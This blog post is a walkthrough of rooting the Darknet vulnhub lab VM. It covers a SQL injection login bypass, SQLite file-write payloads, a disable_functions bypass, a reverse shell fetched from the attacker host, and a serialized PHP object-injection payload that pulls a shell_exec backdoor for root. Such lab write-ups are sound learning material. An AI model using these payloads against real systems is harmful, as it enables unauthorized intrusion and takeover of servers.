vulnhub.com writeup: Darknet

Hello,

This is my writeup of the Darknet boot2root VM from vulnhub.com.

I enjoyed Darknet as it was a VM focused on Linux System configuration and WebApp flaws. Lately there have been a lot of application exploitation and reverse engineering challenges on vulnhub which are not my strong suite so I very enjoyed darknet.

It still was quite challenging and I learned a ton new stuff and techniques (even tough I skipped a challenge)!

1. basic enumeration

After the VM is set up with bridged network and finished booting up I identified it with Nmap:

root@kali:~# nmap -sn 192.168.0.0/24
...
Nmap scan report for 888.darknet.com (192.168.0.70)
Host is up (-0.077s latency).
...

The first thing after identifying the VMs IP Address was scanning it with Nmap:

nmap

With this result I decided to go after the Webserver first because from experience with Boot2Root VMs the Webserver takes almost always part in the exploitation process (going after the low hanging fruits first).

First Step with a Webserver should be just looking at the Website it serves imho, before starting to wildly shoot tools at it!

darknet-splash-page

Some nice splash page! But no hint in this page or its sourcecode:

darknet-source

Before using any automated tool I checked for a robots.txt manually, as this often gives a clue:

darknet-robots-404

Not this time… So I ran nikto against the webserver:

root@kali:~# nikto -h 192.168.0.70
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.0.70
+ Target Hostname:    192.168.0.70
+ Target Port:        80
+ Start Time:         2015-08-16 06:48:49 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Debian)
+ Server leaks inodes via ETags, header found with file /, inode: 46398, size: 378, mtime: Mon Mar 23 02:10:38 2015
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
+ Cookie PHPSESSID created without the httponly flag
+ Retrieved x-powered-by header: PHP/5.4.39-0+deb7u1
+ OSVDB-3268: /access/: Directory indexing found.
+ OSVDB-3092: /access/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 9157 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time:           2015-08-16 06:49:04 (GMT-4) (15 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

When nikto tells you something might be interesting its always worth checking it out:

darknet-access-dir

A backup file! You should always look for those as they often contain valueable information that is not supposed to be accessible by the enduser! Interesting extensions to search for are: backup,bak,old,alt

FYI: Nessus has a plugin dedicated to search for Website Backups. If you dont want to run nessus you can manually append those extensions to the known pages and run dirb with dictionaries and append those extensions (dirb -x extensions-list.txt URL DICT).

Also note that this file discloses a local Username: devnull and the fact that the vhosts html directory is located in the home directory of this user!

So this Webserver likely hosts at least two different websites in different directories!

2. entering the deep dark web

So I grabbed and looked at the backup file:

darnket-apache-backup

An apache vhost configuration file. So by requesting an DNS Name as URL I will probably get a different page! So lets add the DNS Name to the hosts file:

root@kali:~/vulnhub/darknet# echo "192.168.0.70 888.darknet.com" >> /etc/hosts

And look at the Website:

darknet-login

A Login Page!
Everything turned CSI Cyber from here quickly (jk) ;)

The first thing with such login pages that comes to my mind is playing around with SQLi.

By entering “test:test” you can determine the normal behavior:

darknet-login-fail

A simple “Fail” message.

Testing the Basic SQLi things you will notice that “test’:test” will provoke a different behavior:

darknet-login-token

This looks interesting! But with a little testing I could find out that this is just the md5 of the entered password:

root@kali:~/vulnhub/darknet# echo -n "test" | md5sum
098f6bcd4621d373cade4e832627b4f6  -

Maybe this could be a lead or maybe this is just to mislead…
I have to be honest that I did this stage of the VM simultaneously with a couple of friends and one of them (props oboro!) found the SQLi Authentication bypass first:

Entering “devnull’ or ‘1” as a username and any random password will bypass the Authentication:

darknet-sql-form

This looks like a way to issue SQL commands to the SQL Server directly. Databases are always very interesting because they could allow you to execute code directly on the server or allow to write files to the server (outfile functions) which in turn could give the possibility to execute code on the server (php for example)!

The hard part is that this form gives no error messages (blind) and you don’t know which database backend ist present (blind^2).

I will again be honest and tell that after fiddling around a lot and trying numerous sqlmap runs I took a peek at another Darknet writeup to learn this is a SQLite backend.

With this information I did some research and found this article:
http://gwae.trollab.org/sqlite-injection.html

So a basic outfile should be achieved by this SQL query:

ATTACH DATABASE '/home/devnull/public_html/test.php' as pwn;
CREATE TABLE pwn.shell (code TEXT);
INSERT INTO pwn.shell (code) VALUES ("test");

Testing:

darknet-sqloutfile-failed

Fail!

After testing and googeling arround alot (and maybe taking another peak at an existing writeup ¯\_(ツ)_/¯) I found out that this is may be a permission problem and the database is not allowed to write in the specified directory.
To find some alternatives I fired up dirb:

darknet-dirb

So lets test:

http://888.darknet.com/css/
http://888.darknet.com/img/
http://888.darknet.com/includes/

Bingo:

darknet-sqli-working

Even tough it feels like (and probably is) cheating to take a peek at other writeups it still feels good when the attack is working in the end. And I think its always better to cheat and learn from it than to give up…

Now with the possibility to write to the disk I immediately thought I could easily get a php shell!

darknet-php-backdoor-fail

darknet-phpbackdoor-fail2

Fail :/

So maybe the Webserver is hardened against simple php backdoors. Lets take a look at the php config by injecting a phpinfo.php with the following SQL command:

darknet-phpinfo-injection

Et voila: darknet-phpinfo

PHP a hackers dream!
Scrolling down a bit to find the following setting:

disable_functions = system, eval, shell_exec, passthru, popen, proc_open, escapeshellarg, escapeshellcmd, exec, proc_close, proc_get_status, proc_nice, proc_terminate, pcntl_exec	system, eval, shell_exec, passthru, popen, proc_open, escapeshellarg, escapeshellcmd, exec, proc_close, proc_get_status, proc_nice, proc_terminate, pcntl_exec

So thats why the php backdoor did not work. Encountering this the first time on a boot2root VM I did some google research and found out that there is actually a command to alter the php.ini setting within php code itsel (how great is that?!?!):

http://php.net/manual/de/function.ini-set.php

So I tried to leverage this to get a shell and set disable_functions to 0 before running shell_exec:

darknet-phpiniset

But this still failed me:

darknet-shell-exec-fail

But notice how we now get Error messages!

After some more research on the web I found a hint, that it might be possible to place a new php.ini file inside the dir from where the php files are beeing loaded (/home/devnull/public_html/img/ in this case).
So I tried to place an empty php.ini there:

darknet-phpini

And checked the backdoor again:

darknet-backdoor-working

3. We’ve got shell!

With a working php backdoor it is now easy to establish a reverse shell:

Sending a wget command to grab my prefered reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl on kali):

darknet-grab-reverseshellMakes my access.log happy:

darknet-accesslog

 

Now I can just start listening and catch the reverse shell:

darknet-requestingshell

darknet-shell

I love the moment when the first shell drops in :)
Nothing beats a reverse shell for target enumeration and privesc imho!

 4. Privesc all the things!

With a limited reverse shell privilege escalation to root is the next goal.
What I always do when I get a limited shell is transferring one or all of my three linux-privesc friends:

Here are some interesting parts of the findings from LinEnum.sh:

Sample entires from /etc/passwd (searching for uid values 0, 500, 501, 502, 1000, 1001, 1002, 2000, 2001, 2002):
root:x:0:0:root:/root:/bin/bash
devnull:x:1001:1001:,,,:/home/devnull:/bin/bash
errorlevel:x:1002:1002:,,,:/home/errorlevel:/bin/bash

Can we read/write sensitive files:
-rw-r--r-- 1 root root 1007 Apr 20 13:51 /etc/passwd
-rw-r--r-- 1 root root 586 Mar 21 04:51 /etc/group
-rw-r--r-- 1 root root 851 Jul 29 2011 /etc/profile
-rw-r----- 1 root shadow 942 Apr 20 13:15 /etc/shadow

And here an interesting find from linuxprivchecker.py:

[+] World Writable Files
    -rwxrwxrwx 1 root root 869 Apr 26 13:24 /etc/suphp/suphp.conf

Never having had any contact with suphp before and finding its config file world writeable I did some research and found the following introduction on its website: http://www.suphp.org/

“suPHP is a tool for executing PHP scripts with the permissions of their owners. It consists of an Apache module (mod_suphp) and a setuid root binary (suphp) that is called by the Apache module to change the uid of the process executing the PHP interpreter.”

So because suPHP runs PHP scripts with the permissions of their owners I became user devnull when exploiting the SQL Admin interface:

$ ls -lisah /home/devnull/public_html/main.php
46516 4.0K -rw------- 1 devnull devnull 643 Mar 23 00:35 /home/devnull/public_html/main.php

So a possible privesc path would be to find a php file owned by root and somehow try to exploit it to get a root shell!

So lets look for such files:

$ find / -user root -name "*.php" | grep -v "Permission denied"
find: `/proc/tty/driver': Permission denied
find: `/proc/1/task/1/fd': Permission denied
find: `/proc/1/task/1/fdinfo': Permission denied
... a lot more Permission denied...
/var/cache/dictionaries-common/sqspell.php
/var/www/sec.php
/var/www/Classes/Test.php
/var/www/Classes/Show.php

Okay that looks interesting. Lets take a loot at /var/www/:

$ cd /var/www
$ ls -la 
total 24
drwxr-xr-x  4 root root 4096 Apr 26 13:25 .
drwxr-xr-x 12 root root 4096 Mar 21 16:50 ..
drwxr-xr-x  2 root root 4096 Apr 26 11:22 Classes
drwxr-xr-x  2 root root 4096 Mar 23 03:33 access
-rw-r--r--  1 root root  378 Mar 23 03:10 index.html
-rw-r--r--  1 root root  157 Apr 26 11:21 sec.php
$ ls -la Classes
total 16
drwxr-xr-x 2 root root 4096 Apr 26 11:22 .
drwxr-xr-x 4 root root 4096 Apr 26 13:25 ..
-rw-r--r-- 1 root root  163 Apr 26 11:22 Show.php
-rw-r--r-- 1 root root  319 Apr 26 11:27 Test.php
$ ls -la access
total 12
drwxr-xr-x 2 root root 4096 Mar 23 03:33 .
drwxr-xr-x 4 root root 4096 Apr 26 13:25 ..
-rw-r--r-- 1 root root  176 Mar 23 03:31 888.darknet.com.backup

This looks familiar! This is the default www basedir from apache that we grabbed the backup file from before!

And we have root owned php files there! The exact thing we were looking for! Lets take a look at sec.php:

darknet-sec.phpThe function unserialize gets passed a user controlled value!
This smells like a possible injection!

To leverage this information I needed to read up on the unserialize function first tough, as this was as well something I never came into contact with before:

http://php.net/manual/de/function.unserialize.php

Okay I can restore PHP objects and I can see some Class functions inside Classes/Test.php

darknet-classes-test.php

and Classes/Show.php:

darknet-classes-show.php

So lets query OWASP on how we can exploit this:

https://www.owasp.org/index.php/PHP_Object_Injection

Okay that doesn’t sound too hard!

First I started with opening sec.php in a browser:

darknet-secphp-500For some reason Apache is not happy with opening the sec.php file!
But remember we can read and write the /etc/suphp/suphp.conf file (which is very suspicious)!

So lets take a look at it:

$ cat /etc/suphp/suphp.conf
[global]
;Path to logfile
logfile=/var/log/suphp/suphp.log

;Loglevel
loglevel=info

;User Apache is running as
webserver_user=www-data

;Path all scripts have to be in
docroot=/var/www:${HOME}/public_html

;Path to chroot() to before executing script
;chroot=/mychroot

; Security options
allow_file_group_writeable=false
allow_file_others_writeable=false
allow_directory_group_writeable=false
allow_directory_others_writeable=false

;Check wheter script is within DOCUMENT_ROOT
check_vhost_docroot=true

;Send minor error messages to browser
errors_to_browser=false

;PATH environment variable
env_path="/bin:/usr/bin"

;Umask to set, specify in octal notation
umask=0077

; Minimum UID
min_uid=100

; Minimum GID
min_gid=100


[handlers]
;Handler for php-scripts
application/x-httpd-suphp="php:/usr/bin/php-cgi"

;Handler for CGI-scripts
x-suphp-cgi="execute:!self"

And find some explanation of the settings here:
http://www.suphp.org/DocumentationView.html?file=CONFIG


min_uid:
  Minimum UID allowed to execute scripts.
  Defaults to compile-time value.

min_gid:
  Minimum GID allowed to execute scripts.
  Defaults to compile-time value.

The Apache 500 error did not hint at the root cause however this clearly should prevent us from trying what we are doing:
running php files from uid/gid 0 (root)

So lets alter those lines:

$ cp /etc/suphp/suphp.conf /tmp
$ sed -i -e 's/min_uid=100/min_uid=0/g' /tmp/suphp.conf
$ sed -i -e 's/min_gid=100/min_gid=0/g' /tmp/suphp.conf
$ cp /tmp/suphp.conf /etc/suphp/suphp.conf

And try the page again:

darknet-secphp-working

Blank Page \o/  Time to Burp!
Intercepting the Request with Burp:

darknet-burp-interceptAnd sending it to the Repeater (by clicking on Action -> Send to Repeater):

darknet-burp-repeaterNow we can fiddle arround with the requests!

A first test after reading the owasp Article (https://www.owasp.org/index.php/PHP_Object_Injection) was using an online service to serialize some text and inserting it with burp:

https://de.functions-online.com/serialize.html

darknet-serilaize-online

 

Okay now lets look at sec.php again:

darknet-sec.php

It accepts a POST Parameter called “test” so lets provide the online serialized string with burp:

darknet-unserialize-injection 

Okay so basic injection from the outside is possible!
Notice in the above sec.php function that the unserialized Object/String will be printed.

So how can we exploit this?! Lets read the OWASP article again and take a closer look at the Classes/Show.php (again):

darknet-classes-show.php

So sec.php requires (includes) Show.php which in turn contains code for the Show Class.  So when we unserialize an Object of the Class “Show” we should be able to trigger the return value “Showme”.

This part is a bit tricky to figure out and I guess thats a reason why the Show.php was included, because it starts with only one public variable.

So based on what I read in the OWASP article I sent the following Object:

O:4:"Show":1:{s:4:"woot";s:4:"Test";}

And Burp made me a happy man:

darknet-unserialize-showme Okay now that we understand the basic interaction with PHP Objects thorugh the unserialize function lets take a look at the Classes/Test.php file again:

darknet-classes-test.php

So this file was clearly put here for the purpose of privesc escalation!
We already determined above that it is owned by root, so everything it does will be done in the context of root.

If we create (unserialize) an Object of the Class “Test” it will call the __destruct() function eventually with the public variables $url, $name_file and $path which we can control when passing the serialized object via burp!

After playing around a bit I finally arrived at the following serialized object string:

O:4:"Test":6:{s:3:"url";s:35:"http://192.168.0.73/phpbackdoor.txt";s:9:"name_file";s:15:"phpbackdoor.php";s:4:"path";s:8:"/var/www"}

Let me explain this a bit more from my limited perspective:

O:4:"Test":6:

-> This will tell PHP to restore an Object from the Class “Test” with 6 “Fields (3xVariables + 3xContent)”

s:3:"url";s:35:"http://192.168.0.73/phpbackdoor.txt";

-> This tells PHP that there is variable from type string (s) whose name is 3 digits long and called “url”.
The Content of this variable is also from type string and 35 digits long. Its content is the URL pointing to a php backdoor on my kali webserver with a txt extension so that my webserver will not interpret it!

s:9:"name_file";s:15:"phpbackdoor.php";

-> This tells PHP that there is a second variable from type string (s) whose name is 9 digits long and called “name_file”. Its content is “phpbackdoor.php” (15 digits long).

s:4:"path";s:8:"/var/www"

-> This finally tells PHP that there is a third variable from type string (s) whose name is 4 digits long and its content is “/var/www” (8 digits long).

 

4. got root?!

So before running this with burp lets place the phpbackdoor.txt on the Webserver of my kali box (Notice the escape of the $_GET with a \ !!!):

root@kali:~# echo "<?php error_reporting(E_ALL); ini_set('display_errors', 1); ini_set('disable_functions', 0); echo(shell_exec(\$_GET['c'])); ?>" > /var/www/html/phpbackdoor.txt

Now lets send our serialized PHP Object to the sec.php script with burp: 

darknet-final-burp

Watching the apache access log and getting excited:

darknet-final-access-log

And into the browser:

darknet-last-obstacleOh noes! One last obstacle in our way! Good thing we already know that we just need to place an empty php.ini in the www dir to override the original php.ini!

So lets place an empty file on our webserver:

root@kali:~# echo "" > /var/www/html/empty.txt

And one final burp (watch the length of the strings change!):

darknet-final-burp

And lets try our php backdoor again:

darknet-goot-root

 

success

Success!

Now to get an interactive rootshell I just started a reverse listener and called the previously dropped /tmp/prshell.pl:

darknet-prshell-root

 

darknet-root-flag

 Root \o/

  

 6. Final toughts

Thanks to q3rv0 for this awesome VM and oportunity to learn new techniques!

Also I quietly skipped a major Challenge of this VM (Remember User errorlevel?).

If you want to learn about xml and XPath exploitation you should definitely take a look at /etc/apache2/sites-available and/or the other writeups for darknet on vulnhub!!!

And finally props to #vulnhub!

Best Regards
Sebastian

Advertisements

About SebastianB

read it in my blog
This entry was posted in boot2root, InfoSec, miscellaneous, vulnhub. Bookmark the permalink.

One Response to vulnhub.com writeup: Darknet

  1. Pingback: vulnhub: sickos 1.1 walkthrough | IT-Unsecurity

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s